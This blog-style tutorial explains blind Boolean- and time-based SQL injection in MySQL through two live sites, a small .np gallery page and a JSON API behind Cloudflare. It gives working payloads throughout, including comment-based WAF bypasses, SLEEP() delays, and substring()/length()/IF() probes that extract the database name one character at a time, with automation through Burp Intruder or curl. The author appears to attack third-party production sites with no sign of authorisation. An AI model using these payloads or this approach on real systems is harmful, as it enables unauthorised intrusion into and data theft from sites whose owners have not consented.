SQL Injection - Time and Boolean based

SQL injection Boolean/Time Based

Bee box is a great VM to learn and exploit web application vulnerabilities specially OWASP top 10’s. It’s usual that tester will try to find the same vulnerabilities on the live websites after mastering it on local. Here we’re gonna look Time and Boolean based blind injection because sometime it can’t be exploited properly on local. These are the basic exploitation steps for SQL Injection we follow for MySQL.

  1. Error generation with untrusted input or special characters.
  2. Finding total number of columns with order by or group by.
  3. Finding vulnerable columns with union operator.
  4. Extracting basic database info with concat() or group_concat().
  5. Extracting full table data with group_concat().
  6. Checking file privileges with file_priv.
  7. Loading system files with load_file(). and advance exploitation afterwards.

Above we are generating error and fixing the query to exploit SQL injection but in blind there will be no errors on the page. We’ll take two live examples here to understand basic Time and Boolean based SQL injection. Faced really small website (.np) domain developed on PHP. As usual the vulnerable parameter was in the URL so (‘) will do the error generation.

https://www.abc.np/gallery.php?id=11'

But after that every query was giving 403 forbidden so used string bypass but still the same.

http://www.bpwnepal.org.np/gallery.php?id=11 /*!00000order*/ /*!00000by*/ 2015--+

Used same string bypass with sleep() function to inject time based queries and it worked, the response was delayed with a specified value. request is below.

http://www.abc.np/gallery.php?id=11 /*!00000AND*/ /*!00000SLEEP(15)*/--+

Time based

Now let’s have a look at second example which is using cloudflare protection with no default or custom rules enabled, no OWASP rule set to prevent web application vulnerabilities. Here the communication is taking place via API so we’ve to perform injection on Json parameter. request is below.

Website using cloudflare

First tried giving Boolean expressions to check if it’s allowing the functions and not blocking it as bad request.

{“user_id”=”xxxx AND 1=1#”}

Above query returned true and gave no error. and there was no rule set on WAF so it allowed ‘AND’ and accepted the query. what a use of cloudflare.

{“user_id”=”xxxx AND 1=2#”}

this query will always return false and will affect the output. so in further exploitation if the injected expression evaluates to true then it’ll give output and if it evaluates to false then it’ll simply throw “User does not exist”.

{“user_id”=”xxxx AND sleep(15)#”}

Going further, above query manipulated the response time without any string bypass. Fetched basic information like database name, version, user manually with substring() and length().

{“user_id”=”xxxx AND length(database())=’1'#”}

{“user_id”=”xxxx AND length(database())=’2'#”}

and so on….

Here if the length of the database name is 1 then it’ll give output else “User does not exist” so we have to try every digit one by one to check. Always try length of the website name in blind injection, it works in most cases. To automate this we sent it to burp intruder and brute forced the value with numbers and got the length.

Intruder

After getting the length tried guessing characters with substring(). Again, try website name as a database name.

{“user_id”=”xxxx AND substring(database(),1,1)=’a'#”}

Here database() is the string, first ‘1’ is the starting position and second ‘1’ is the character we want to fetch from the starting position. above query evaluated to true so first character was ‘a’. So to fetch the second character from first position the query will be like this…

{“user_id”=”xxxx AND substring(database(),2,1)=’a’#”}

{“user_id”=”xxxx AND substring(database(),2,1)=’b’#”}

{“user_id”=”xxxx AND substring(database(),2,1)=’c’#”}

and so on…

To fetch full name have to check every position with every character so if the database name is ‘bug’ then the true queries must be like this…

{“user_id”=”xxxx AND substring(database(),1,1)=’b’#”}

{“user_id”=”xxxx AND substring(database(),2,1)=’u’#”}

{“user_id”=”xxxx AND substring(database(),3,1)=’g’#”}

substring()

We can automate this too with burp intruder or with curl and can grab version() and user() too. for further exploitation we can also use conditional statement if().

{“user_id”=”xxxx AND IF(length(database())=’1’, SLEEP(15),1)#”}

above query will manipulate the response time with 15 if the database length is 1 so we can do same with substring() too.

{“user_id”=”xxxx AND IF(substring(database(),1,1)=’a’, SLEEP(15),1)#”}

if the first character of the database is ‘a’ then it’ll delay the response with 15. We can also use other functions like Waitfordelay, ascii(), benchmark(), pg_sleep(),mid() etc. have a look at exploitation.